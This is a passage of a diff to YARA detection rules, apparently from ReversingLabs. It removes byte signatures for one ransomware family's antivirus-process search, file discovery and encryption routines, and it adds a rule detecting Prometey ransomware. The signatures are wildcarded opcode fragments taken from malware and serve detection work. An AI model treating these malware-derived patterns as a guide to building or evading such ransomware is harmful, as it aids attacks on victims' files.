-            FF D6 E8 ?? ?? ?? ?? 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? E8
-        }
-		$url_parameters_setup_v4 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF
-            15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 6A ?? FF 15 ??
-            ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF
-            35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ??
-            ?? FF D6 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 8B D0 E8 ?? ?? ?? ?? 6A ?? FF 15
-            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ??
-            ?? FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6
-            68 ?? ?? ?? ?? FF D6 E8 ?? ?? ?? ?? E8
-        }
-		$search_antivirus_processes_v4 = {
-            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? FF D6 8B 5D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 03 C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? FF D6 8B F8 89 7D ?? 85 FF 74 ?? 6A ?? 6A ?? C7 07 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E
-            33 C0 5B 8B E5 5D C2 ?? ?? 33 C9 33 F6 57 50 89 4D ?? 89 4D ?? 89 4D ?? 89 75 ?? FF
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 49 ?? 85 F6 0F 85 ?? ?? ?? ?? 83 C7 ?? EB
-            ?? 8D 49 ?? 57 FF 74 B5 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 46 83 FE ?? 72 ?? 8B 75 ??
-            EB ?? 83 7D ?? ?? 57 FF 33 C7 45 ?? ?? ?? ?? ?? 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 33 FF 15 ?? ?? ?? ?? EB ?? 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 33 FF D6
-            FF 45 ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 75 ?? 8D 0C 41 B8 ?? ?? ?? ?? 81 F9 ?? ??
-            ?? ?? 89 4D ?? 0F 47 F0 89 75 ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 03 66 83 38 ?? 74
-            ?? 50 FF 15 ?? ?? ?? ?? 8B 0B 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 8B 35 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 85 FF 75
-            ?? 68 ?? ?? ?? ?? 57 FF 33 FF D6 8B C7 5F 5E 5B 8B E5 5D C2
-        }
-		$find_files_v4 = {
-            C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 0F 84 ?? ?? ??
-            ?? 8D 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 89 44 24
-            ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04
-            46 89 44 24 ?? FF D7 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24
-            ?? 66 89 11 83 F8 ?? 75 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B
-            E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF D7 F6
-            44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74
-            ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56
-            FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 83
-            C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E
-            33 C0 5B 8B E5 5D C3
-        }
-		$crypt_files_v4 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 33 DB 89 4D ?? 68 ?? ?? ??
-            ?? 53 8B F2 89 5D ?? FF 15 ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B
-            8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
-            8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 88 5D ?? 48 75 ?? 8B 45 ?? 89 85 ??
-            ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B
-            45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 68
-            ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 5D ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 6A ?? C7 05 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? FF D3 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
-            89 45 ?? FF D3 33 C9 8B D8 89 4D ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 3D
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 42 CA 01 87 ?? ?? ?? ?? 8B 55 ?? 83 97 ?? ?? ?? ?? ??
-            8B 7D ?? 89 4D ?? 8D 8D ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B C7 F7 D8 99 6A
-            ?? 6A ?? 52 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50
-            57 53 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57
-            53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 8B 7D ?? 85 C9 0F 84 ?? ?? ?? ?? 6A ??
-            8D 45 ?? 50 68 ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? 89
-            45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
-            ?? 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3
-        }
-		$crypt_files_v3 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? C7 45
-            ?? ?? ?? ?? ?? 50 6A ?? 8B D9 8B CA 6A ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 8B F8 C7 45 ?? ?? ?? ?? ?? 53 57 89 7D ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 57 FF 15 ?? ??
-            ?? ?? 66 0F 6F 05 ?? ?? ?? ?? BA ?? ?? ?? ?? F3 0F 7F 85 ?? ?? ?? ?? 51 66 0F 6F 05
-            ?? ?? ?? ?? 8D 4D ?? F3 0F 7F 45 ?? C6 45 ?? ?? 66 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45
-            ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D6 F3 0F 6F 85 ?? ?? ?? ?? 8B F8 6A ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? F3 0F 7F 07 6A ?? F3 0F 6F 45 ?? 89 7D ?? F3 0F 7F 47 ?? FF D6
-            F3 0F 6F 45 ?? 68 ?? ?? ?? ?? 89 45 ?? F3 0F 7F 00 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50
-            57 FF 75 ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ??
-            85 C0 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 68 ??
-            ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ??
-            FF 15 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ??
-            ?? 6A ?? FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 0F 57 C0 66 0F 13 45 ??
-            8B 75 ?? 8B 5D ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF D6 6A ?? 8B D8
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C7 03 ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? FF D6 8B
-            3D ?? ?? ?? ?? 33 F6 33 C9 89 45 ?? 89 4D ?? EB ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 68 ??
-            ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84
-            ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            0F 42 F1 01 03 83 53 ?? ?? 8B 45 ?? 89 45 ?? 89 45 ?? A8 ?? 74 ?? 8B FF 40 A8 ?? 75
-            ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 45 ?? FF 75
-            ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15
-            ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8D 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 45 ??
-            F7 D9 6A ?? 83 D0 ?? 6A ?? F7 D8 50 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15
-            ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? BE ?? ?? ?? ?? 89 75 ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 85 F6 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 4D ?? 8B 75 ?? 85 C9 75 ?? 51 8D 45 ?? 50
-            68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75
-            ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ??
-            ?? ?? ?? 8B 03 8B 73 ?? 68 ?? ?? ?? ?? 6A ?? 53 89 45 ?? FF D7 68 ?? ?? ?? ?? 6A ??
-            FF 75 ?? FF D7 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF D7 8B 5D ?? 68 ?? ?? ?? ?? 6A ?? FF
-            75 ?? FF D7 5F 8B D6 8B C3 5E 5B 8B E5 5D C3
-        }
-		$search_antivirus_processes_v5 = {
-            8B 7D ?? 6A ?? 53 6A ?? 33 DB 89 07 53 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF
-            D6 8B F0 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 6A ?? C7 06 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? EB ?? 56 33 C9 89
-            5D ?? 50 89 5D ?? 89 4D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F
-            85 ?? ?? ?? ?? 33 C0 8D 4E ?? 89 45 ?? 51 FF 74 85 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ??
-            8B 45 ?? 8D 4E ?? 40 89 45 ?? 83 F8 ?? 72 ?? EB ?? 33 C0 39 45 ?? 8D 58 ?? 8D 46 ??
-            50 FF 37 75 ?? FF 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 37 FF 15
-            ?? ?? ?? ?? FF 45 ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 8D 0C 41 8B 45 ??
-            81 F9 ?? ?? ?? ?? 89 4D ?? 59 0F 47 C1 89 45 ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0
-            74 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 85 DB 74 ?? 8B 07 33 C9 66 39 08
-            74 ?? 50 FF 15 ?? ?? ?? ?? 8B 0F 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 68 ??
-            ?? ?? ?? 33 C0 50 56 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 85 DB 75 ??
-            68 ?? ?? ?? ?? 33 C0 50 FF 37 FF D6 8B C3 5F 5E 5B 8B E5 5D C2
-        }
-		$find_files_v5 = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39
-            7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9
-            ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ??
-            89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 57 57 8D 44 24 ?? 50
-            6A ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74
-            ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF
-            15 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ??
-            85 C0 74 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ??
-            ?? EB ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE
-            E8 ?? ?? ?? ?? 59 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ??
-            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ??
-            ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($remote_connection_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Prometey : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Prometey ransomware."
+		author = "ReversingLabs"
+		id = "a5902fc6-2752-520f-be84-df9ea7b1e27d"
+		date = "2021-06-07"
+		modified = "2021-06-07"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Prometey.yara#L1-L156"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f14c9605e2d375176b461fd396be66754b0ace7dcaada8ca33ad86f6eda10b73"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Prometey"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection_p1 = {
+            55 8D AC 24 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 85 ?? ?? ?? ?? 53 56 57 50 8D 45 ?? 64 A3
+            ?? ?? ?? ?? 6A ?? 5E 8D 85 ?? ?? ?? ?? 89 75 ?? 50 BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ??
+            ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D
+            ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ??
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5B 8D 4D ?? 88 5D ?? E8 ?? ??
+            ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03
+            C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 95 ?? ?? ?? ?? 8D 4D ?? E8 ??
+            ?? ?? ?? 59 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 39 9D ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85
+            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 33 DB 53 53 53 53 50 88 5D
         }
-		$crypt_files_v5 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ??
-            ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? FF 75
-            ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? EB ??
-            33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB
-            ?? 75 ?? 33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ??
-            ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15
-            ?? ?? ?? ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 21 7D ?? 21 7D ?? 41 89 45 ??
-            8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ??
-            89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A
-            ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ??
-            83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33
-            C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75
-            ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ??
-            8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86
-            ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33 C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D
-            ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ??
-            ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ??
-            E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ??
-            85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ??
-            ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ??
